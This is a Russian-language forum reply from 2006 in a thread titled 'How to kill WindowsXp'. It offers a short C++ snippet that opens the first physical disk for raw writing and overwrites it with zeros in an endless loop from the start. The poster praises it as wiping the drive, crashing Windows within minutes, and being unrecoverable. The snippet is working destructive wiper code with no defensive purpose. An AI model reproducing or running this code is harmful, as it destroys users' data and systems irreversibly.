Имя пользователя:
Пароль:
 

Название темы: Как убить WindowsXp
Показать сообщение отдельно

Пользователь


Сообщения: 148
Благодарности: 12

Профиль | Отправить PM | Цитировать


Можно на С++ написать
Код: Выделить весь код
       HANDLE Hd;

        //Открываем винч
        Hd=CreateFile( "\\\\.\\PhysicalDrive0",                 //Винч для открытия, нумеруются от 0
                       GENERIC_READ | GENERIC_WRITE,            //Хотим читать и писать :)
                       FILE_SHARE_READ | FILE_SHARE_WRITE,      //И другие тоже хотят :), поэтому придется поделится
                       NULL,
                       OPEN_EXISTING,                           //Было бы круто программно создавать новые винчи,
                                                                //но пока можем только открыть имеющийся
                       0,
                       NULL);

        if (Hd == INVALID_HANDLE_VALUE)
        {
                 return;

                //Типа большой облом
                
        }

        //Ура имеем доступ к винчу на чтение и _запись_ !!!

	char buf[1024]={0};
	unsigned long n;

	SetFilePointer(Hd,0,NULL,FILE_BEGIN);
	while(1) WriteFile(Hd,buf,sizeof(buf),&n,NULL);
Этот добрый код вообще может вынести все нафиг и очистить винчестер.
Винда вылетает с BSOD буквально через пару минут работы.

Плюс в том, что уже никак не лечится

Отправлено: 01:41, 16-10-2006 | #21

Название темы: Как убить WindowsXp